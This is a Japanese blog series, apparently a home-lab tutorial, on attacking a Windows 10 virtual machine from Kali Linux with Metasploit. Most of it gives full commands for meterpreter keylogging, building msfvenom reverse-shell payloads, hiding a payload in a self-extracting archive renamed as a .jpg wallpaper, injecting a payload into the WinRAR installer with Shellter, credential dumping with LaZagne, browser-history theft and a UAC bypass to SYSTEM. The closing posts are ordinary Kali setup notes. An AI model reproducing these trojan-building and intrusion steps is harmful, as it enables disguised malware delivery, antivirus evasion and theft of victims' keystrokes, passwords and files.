キーロガーと情報の奪取

キーロガーと情報の奪取

meterpreterセッションが確立しているなら
ユーザ権限でも可能

1
keyscan_start

でキーロガーの開始

次に Windows10 でメモ帳を開き適当に入力

この状態で

1
keyscan_dump

を実行すると

1
2
3
this is keyloger test<CR>
<Shift>A<CR>
<半角/全角>kyou <CR>

というように入力した文字が表示される

なお CR は改行
shift なども記録される

日本語に関してはそのまま表示されずに
ローマ字で入力したキーが表示される

1
keyscan_stop

でキーロガーの停止

リアルタイムで監視するのなら
Metasploit のキーロガーを使う

一度セッションをバックグラウンドに変更

1
background
1
2
use post/windows/capture/keylog_recorder
set session 2

で使用するキーロガーとセッションの設定

1
run

で実行

これで

1
Keystrokes being saved in to /root/.msf4/loot/20200206043556_default_192.168.1.166_host.windows.key_155453.txt

と表示され
/root/.msf4/loot/20200206043556_default_192.168.1.166_host.windows.key
に保存される

リアルタイムでキーログを監視するには
ctrl + alt + t で別端末を開き

1
tail -f /root/.msf4/loot/20200206043556_default_192.168.1.166_host.windows.key_155453.txt

というように tail コマンドを使う

tailコマンドのオプションについては
tailコマンドのオプション「f」と「F」
を参考に
-f オプションなら今開いているファイルを読み込む

これで WIndows10 で入力した内容が表示されるようになる

キーロガーの終了は ctrl + c で終了

WinRAR でペイロードと画像ファイルのバインド

WinRAR でペイロードと画像ファイルのバインド

wallpaper で検索し背景画像をダウンロード

今回は
https://pixabay.com/images/search/wallpaper/
からダウンロード

次に画像ファイルをアイコンファイルへ変換

これは
https://www.icoconverter.com/
を利用

変換サイズは
64pixels

ビット深度は
8 bits

対象ファイルは 参照をクリックし
先ほどダウンロードしたファイルを選ぶ

あとは Convert をクリックすると変換されるので
Save File で保存

次にWindows10で WInRAR をインストールする

ここまでできたら KaliLinux でペイロードの作成

1
msfvenom -a x86 -p windows/meterpreter/reverse_tcp lhost=192.168.1.134 -f exe -e x86/shikata_ga_nai -i 3 -b '\x00\xff' -o /root/Desktop/evil4.exe

msfvenom コマンドのオプションで
a はアーキテクチャで
-a x86 なら 32bit アーキテクチャ
e はエンコーダの種類
i はエンコーダ回数で
-i 3 なら3回
b は避ける文字

これでペイロードを作成したら

1
2
3
cp /root/Desktop/evil4.exe /var/www/html/share/
cp Downloads/wallpaper.* /var/www/html/share/
service apache2 restart

でペイロードとダウンロードしたico ファイルと画像ファイルをコピー
ダウンロードできるように apache2 の再起動

なお Windows10 で evil4.exe をダウンロードするとき
リアルタイム保護が有効だと削除される

次に
wallpaper.ico
wallpaper.jpeg
の2つを選択した状態で右クリック >
Add to archive… を選び

Archive name を
amazing_wallpaper.rar
として
Create SFX archive
にチェックをいれる
これで exe ファイルになる

Advanced タブをクリック
SFX Options をクリック

Setup タブをクリック
Run after extraction
のとこへ
evil4.exe
wallpaper.jpg
を追記

Modes タブをクリック
silient mode で hide all をクリック

Text and icon タブをクリック
browse… をクリックし
ファイル形式を All files にすると表示される
wallpaper.ico をクリック

Update タブをクリック
update mode を
Extract and update files

Overwrite mode を
Overwrite all files

これでOKをクリック

これで
amazing_wallpaper.exe ができる

これを名前の変更で
amazing_wallpaper.jpg とすると
Windows10 では拡張子が表示されないため
画像ファイルとして扱われる

ここまでできたら KaliLInux でリバースシェルの用意

1
2
3
4
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.1.134
exploit

これで
amazing_wallpaper.jpg
をクリックすると
画像が表示され
KaliLinux ではmeterpreter セッションが確立する

ペイロードに別ファイルの結合

ペイロードに別ファイルの結合

ターゲットにペイロードを実行させても
別の画面がでてきたり
何も実行されないと不審に思われるので
ペイロードに別ファイルを結合し2つのプログラムを実行させることで
偽装させるという手法がある

これが bind
使われる手法としては
画像ファイルにペイロードが結合されていたて
画像を表示したらペイロードが実行されるというもの

あとは
トロイの木馬にゲームと結合させてゲームが起動してプレイできるが
裏ではトロイの木馬の感染処理が進むというもの

今回は KaliLinux と WIndows10 で実験

まず
WinRaR のインストーラーを取得

https://www.win-rar.com/download.html?&L=0
から32bit のものをダウンロード

1
cp Downloads/wrar580.exe /root/Desktop/

でファイルをデスクトップへコピーしておく

次に
Shellter のインストール

1
apt install shellter

次に shellter の初期設定

1
shellter

で起動

ここからは対話形式で設定

1
Choose Operation Mode - Auto/Manual (A/M/H):

となるので自動にしたいので
A

1
PE Target:

で対象ファイルを選ぶので

/root/Desktop/wrar580.exe
を指定

1
Enable Stealth Mode? (Y/N/H):

でステルスを有効化するので Y

1
Use a listed payload or custom? (L/C/H):

となるので
リストから選ぶので L を選択

これでリストがでてくる
今回使うのは revrse_tpc なので

1
Select payload by index:

では1を入力

次に

1
SET LHOST:

となるので KaliLinux のIPを入力

次に使うポートの指定

1
SET LPORT:

となるので4444を入力

最後に

1
Press [Enter] to continue...

となったら Enter

これで作成できたので

1
2
cp Desktop/wrar580.exe /var/www/html/share/
service apache2 restart

でペイロードがダウンロードできるようにしておく

次にウイルス検知にどれくらい引っかかるかチェック

https://www.virustotal.com/ja/
へアクセスし
Choose file をクリック

wrrar580.exeを選び調査
これで70の検知システムのうち27引っかかっているということがわかる

これでファイルは作成できたので
KaliLinux でリバースシェルの待受

1
msfconsole

でMetasploit を起動

1
2
3
4
5
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.1.134
set lport 4444
exploit

で待受開始

あとは windows10 でリアルタイム保護を無効化した状態で
ブラウザで
wrrar580.exe をダウンロードし実行

これでMeterpreter セッションが確立される

windows 10 のパスワード探しとブラウザ履歴

windows 10 のパスワード探しとブラウザ履歴

LaZagne を使うため
KaliLinux で

https://github.com/AlessandroZ/LaZagne/releases
からダウンロード

1
wget https://github.com/AlessandroZ/LaZagne/releases/download/2.4.3/lazagne.exe

でもダウンロードできる

次に

1
service apache2 restart

で apache2を再起動

1
msfconsole

で msfconsole を立ち上げ

1
2
3
4
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.1.134
exploit -j -z

で待受にする

次に windows10 で evil2.exe を実行

これでセッションが繋がる

1
sessions -i 1

次に

1
upload lazagne.exe

で windows10 へファイルをアップロード

1
shell

で windows10 のシェルになり

1
lazagne.exe all

を実行
ただしユーザ権限だとパスワードは発見できなかった

次にブラウザ履歴を調べる

1
use post/windows/gather/forensics/browser_history

でセッションをセット

1
run

で実行

実行すると
.msf4/local/
以下にふぁいるが作成される

今回は
snowpool_ChromeHistory_Default_History.
となった

なお対応しているのは
Firefox
Chrome
Skype
となっているため
Edge の履歴を得ることはできなかった

デフォルトでは chrome がインストールされていないので
インストールしてから実行

1
file .msf4/local/snowpool_ChromeHistory_Default_History.

でファイルを確認すると

1
.msf4/local/snowpool_ChromeHistory_Default_History.: SQLite 3.x database, last written using SQLite version 3030001

となり
SQLファイルであることがわかる

なお、隠しファイルになっているので

1
cp .msf4/local/snowpool_ChromeHistory_Default_History. .

としておくとファイルを見つけやすくなる

これの中身をみるには
show application をクリック

sqlte database  で検索し
DB Browser for  をクリック

Open Database をクリックし
ファイルの種類を All files にして対象ファイルを開く

urls を右クリック > Browse Table

これで閲覧した履歴のURLをみることができる

次にMRUの取得

1
sessions -i 1

でセッションを確立し

1
reg enumkey -k HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\

MRUは
Most Reccently Used で最近使ったリストのこと

これはターゲットの最近の行動を知るのに使う

今回の実行結果は

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
Keys (36):
 
  Accent
  Advanced
  AutoplayHandlers
  BamThrottling
  BannerStore
  BitBucket
  CabinetState
  CD Burning
  CLSID
  Desktop
  Discardable
  FileExts
  HideDesktopIcons
  LogonStats
  LowRegistry
  MenuOrder
  Modules
  MountPoints2
  Package Installation
  RecentDocs
  RestartCommands
  Ribbon
  SearchPlatform
  Shell Folders
  Shutdown
  StartPage
  StartupApproved
  Streams
  StuckRects3
  Taskband
  User Shell Folders
  UserAssist
  VirtualDesktops
  VisualEffects
  Wallpapers
  SessionInfo
 
Values (12):
 
  ExplorerStartupTraceRecorded
  ShellState
  UserSignedIn
  SlowContextMenuEntries
  SIDUpdatedOnLibraries
  LocalKnownFoldersMigrated
  TelemetrySalt
  GlobalAssocChangedCounter
  FirstRunTelemetryComplete
  EdgeDesktopShortcutCreated
  AppReadinessLogonComplete
  PostAppInstallTasksCompleted

となった

Windows10 を Metasploit で攻撃

Windows10 を Metasploit で攻撃

まずリバースシェルのペイロードを作成

1
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.134 -f exe -o /root/Desktop/evil2.exe

でリバースシェルのペイロードを作成
なお、今回はターゲットは64bit を考慮して作成している

次にペイロードを外部アクセスできるディレクトリへ移動

1
cp /root/Desktop/evil2.exe /var/www/html/share/

これで apache2 を起動

1
service apache2 restart

次に windows10 の仮想マシンを起動し
ブラウザで
http://KaliLinuxのIPアドレス/share/
へアクセスし
evil2.exe をクリックし保存をクリックしても
Windows Defender により削除されてしまう

このためスタートメニューで設定をクリック

更新とセキュリティをクリック

Windows セキュリティをクリックし
Windows セキュリティを開くをクリック

ウィルスと脅威の防止をクリック

ウィルスと脅威の防止の設定の
設定の管理をクリック

リアルタイム保護オンをクリック

デバイスの変更の許可を聞かれるので
はいをクリック

これでリアルタイム保護が無効化されるが
一定時間がすぎると自動で有効化に戻る

この状態で再度

ブラウザで
http://KaliLinuxのIPアドレス/share/
へアクセスし
evil2.exe をクリックし保存をクリック
これで保存ができる

ここまでできたら KaliLinux でリバースシェルの待受

1
msfconsole

で msf コンソールを起動

まずハンドラーモジュールを使うので

1
use exploit/multi/handler

次にペイロードをセット

1
set payload windows/x64/meterpreter/reverse_tcp

次にIPアドレスの設定

1
set LHOST 192.168.1.134

次 exploit の実行をするけど
今回は
j オプションにより ジョブとしてモジュールを起動
z オプションによりセッションをバックグラウンドにするように設定

1
exploit -j -z

この状態で Windows10 で evil2.exe を実行

すると

1
2
Sending stage (206403 bytes) to 192.168.1.165
[*] Meterpreter session 1 opened (192.168.1.134:4444 -> 192.168.1.165:49830) at 2019-12-31 04:22:04 +0900

となりセッションが確率されたのがわかる

確認のため
Enter でメッセージから msf コンソールにして

1
sessions -i

とすると現在確立されているセッションを表示できる

ここまでできたら
windows10 で
ダウンロードフォルダへ
新規作成 > テキストドキュメント

password
を作成

なお、windows ではテキストドキュメントでは
.txt が自動でつく

次に KaliLinux でセッション1を指定

1
sessions -i 1

セッションが確立されている状態で

1
 

を実行すると一覧がみれる

なお、windows10 で evils2.exe を実行するときに
ブラウザから起動したものか、もしくは
ダウンロードしてから実行しているかによりファイルパスが変わるので注意

ブラウザから実行していると
C:\Users\snowpool\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\TempState\Downloads
となり
ダウンロードしてから実行だと
C:\Users\snowpool\Downloads
となる

なお windows10 のファイルを
KaliLinux にダウンロードすることも可能
これは
download コマンドを使う

今回 passwords.txt をダウンロードするなら

1
download passwords.txt

これでホームディレクトリにダウンロードされる

また現在開いている windows 画面のスクリーンショットもとれる
これは
screenshot コマンドを使う

1
screenshot

撮影した画像は
ホームディレクトリに保存される

なおコマンドから表示することもできるが feh が必要

1
apt install feh -y

でインストールしておき

撮影したスクショのファイル名がgnnIADFL.jpegなら

1
feh gnnIADFL.jpeg

とすれば表示することができる

なお -g オプションを使うことで画像の大きさを指定できるが
縮小されて表示されるわけではない

それよりも
Raspberry Pi 3で17.3インチのデジタルフォトフレームを作った!

にあるように
-F オプションでフルスクリーン表示にしたほうが見やすい

なお、画面がそれでいっぱいになるので
alt + tab で端末に移動して
ctrl +c で動作停止すると画像が消える

次にSYSTEM権限の取得

1
getsystem

としてもUAC機能を回避していないため失敗となる

このためUAC機能を回避するモジュールを探す

1
background

で一度バックグラウンドにしておき

1
search bypassuac

で検索

ここから探すときには
Rank excellent
日付が新しいもの
を使うようにする

今回は
bypassuac_sluihijack
を使用

1
use exploit/windows/local/bypassuac_sluihijack

で使用するペイロードをセット

設定のため

1
show targets

を実行すると

1
2
3
4
Id  Name
--  ----
0   Windows x86
1   Windows x64

となるので

1
set TARGET 1

で 64bit としてセット

1
set session 1

でセッションを設定

再度ペイロードをセット

1
set payload windows/x64/meterpreter/reverse_https
1
set LHOST 192.168.1.134

でKaliLinux のIPをセット

1
show options

で設定を確認したら

1
exploit

で実行

なお時間がかかりすぎると
windows のリアルタイム監視が復旧し
自動的にセッションが閉じられるので注意

これで

1
getsystem

を実行し

1
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).

となれば権限奪取成功

なお、バックドアの作成などについては
リアルタイム保護で削除される可能性があるので
今回は行っていない

Kali Linux 設定その3

Kali Linux 設定その3

man2html を入れることで
man をブラウザで参照できるようになる

terminal を開き

1
apt install man2html

でインストール

次にCGIの実行の有効化

1
a2enmod cgid

でccgid モジュールを組み込み

1
systemctl restart apache2

で Apache の再起動

これで KaliLinux の FireFox を起動
http://localhost/cgi-bin/man/man2html
へアクセスすると
ブラウザで man が使えるようになっている

続いてエイリアスの設定

エイリアスの設定には
alias コマンドを

エイリアスの削除には
unalias コマンドを使う

alias コマンドについては
新しいコマンドも作れる!aliasコマンド詳細まとめ【Linuxコマンド集】

を参考に

なお alias コマンドで設定しただけでは
ターミナルを閉じたときにリセットされてしまうので
.bash_aliases を作成し
ここへエイリアスを記述しておく

1
vim .bash_aliaces

でファイルを作成

1
2
3
4
5
6
7
8
9
10
11
12
13
14
alias ll='ls -l'
 
alias grep='grep --color=auto'
alias fgrep='fgrep --color=auto'
alias egrep='egrep --color=auto'
 
alias ..='cd ..'
alias rm='rm -i'
 
alias del='rm -i'
 
alias gs='git status'
 
alias powerup='apt update && apt-get upgrade -y && apt dist-upgrade && apt autoremove -y && apt autoclean -y'

として保存

Kali Linux 設定その2

Kali Linux 設定その2

まずパッケージアップデート

terminal を起動し

1
apt update

でパッケージリストの更新

次に

1
apt-get upgrade

でインストール済みパッケージを更新

途中で postgresql  の設定画面がでるが
q
を押して画面を抜ける

アップデート注に wireshark の設定がでてくる

│ Dumpcap can be installed in a way that allows members of the “wireshark” │
│ system group to capture packets. This is recommended over the │
│ alternative of running Wireshark/Tshark directly as root, because less │
│ of the code will run with elevated privileges. │
│ │
│ For more detailed information please see │
│ /usr/share/doc/wireshark-common/README.Debian. │
│ │
│ Enabling this feature may be a security risk, so it is disabled by │
│ default. If in doubt, it is suggested to leave it disabled. │
│ │
│ Should non-superusers be able to capture packets?

と書かれているが
これは root 以外のユーザでもキャプチャできるようにするか?
ということなので
No
を選択

次に root パスワードを変更
デフォルトは toor
このままだとリスクが高いため

1
passwd

で任意のパスワードへ変更

次に一般ユーザの作成とパスワード設定

1
useradd -m ユーザ名

というようにして
-m オプションをつけることで
新規ユーザのホームディレクトリも作成

useradd コマンドについては
Qiita のuseradd コマンド

を参考に

そのままだとパスワードを設定していないので

1
passwd ユーザ名

としてパスワードを設定

その後sudoコマンド権限を与え

ログインシェルを bash に設定

1
2
usermod -a -G sudo ユーザ名
chsh -s /bin/bash ユーザ名

SSH 接続関連の設定は
Kali Linux をリモート操作はしないので
今回は省略

次にterminal をショートカットキーで起動できるよう設定

デスクトップから Settings アイコンをクリック

Devices をクリック

keybord をクリックし
右側を下へスクロールして + アイコンをクリック

Name に Launch Terminal
Command に gnome-terminal
として
Set Shortcut..
をクリック

これでショートカットキーにしたいキーを押せばOK
今回は
ctrl + Alt + t

これでキーの設定が表示されたら
Add をクリック

これで ctrl + alt + t で terminal が起動できるようになる

次に Terminal の拡張
これにより
タブや画面分割ができるようになり
キーボードだけでの操作が可能になる

1
apt install terminator -y

でインストールできる

kali Linux の設定

kali Linux の設定

ダウンロードが完了した Kali Linux を
Virtualbox で起動

ファイル > 仮想アプライアンスのインポート

ダウンロードした kali linux の ova ファイルを指定し
次へ
をクリック

仮想マシンについての設定が表示されるので
インポートをクリック

インポートが完了すれば仮想マシン一覧に
Kali Linux が表示される

なお、初期状態のままだと
ユーザ名 root
パスワード toor
という状態になっている

初期状態では
英語キーボード設定なので
日本語キーボード対応に設定を変更

仮想マシンを起動しログイン
画面右上のプルダウンメニューから
Settings アイコンをクリック

Region & Language

Input Sources の中の+アイコンをクリック

Japanese をクリックし
Add をクリック

これで日本語入力が可能になるので
英語キーボードは削除

English をクリックし
ーアイコンをクリックすれば削除できる

続いてタイムゾーンを日本に変更
Date & Time をクリックし

TimeZone をクリックすると世界地図がでるので
日本をクリック
これで設定されるので
xを押して地図を閉じる

これで TimeZone が日本時間になり
画面で表示される時刻も修正されているのが確認できる

次に日本語入力ができるように設定

デスクトップから
terminal アイコンをクリック

1
apt install -y task-japanese task-japanese-desktop

を実行

その後再起動することで日本語入力が可能に

BackTrack の後継機 ? Kali Linux

BackTrack の後継機
Kali Linux という BackTrack の後継機らしきものがでました
いままで、BackTrack は Ubuntu ベースでしたが
Ubuntu Touch が発表されたように
今後はスマホ、タブレットに合わせた方向へシフトする可能性があり
BackTrack で採用されている
Gnome-KDE は切り捨て路線の可能性があるから
かもしれません
この Kali LInux は Debian ベースとなるようです
BackTrack からの変更点としては
ブラウザが firefox から Iceweasel となり
Android 開発環境の
Android SDK Manager
パッケージのリバースエンジニアリングツール
apktool
アセンブラとディスアセンブラの
small/backsmall
dexファイルから jar ファイルを取り出す
dex2jar という
Android アプリ解析ツール関連が充実していること
また、収録ツール関連もいくつか変更があります
Armitage が入っていないので
apt-get でインストールすること
そして、Gerix が収録されておらず
リポジトリにもないので
apt-get でインストールができないということ
この kali Linux のダウンロードですが
http://www.kali.org/downloads/
からダウンロードします
ダウンロードするときに
No thanks just wait to download !
をクリックすれば個人情報を入力せず
ダウンロードできます
ただ、混み合っているので、なかなかダウンロードできないかも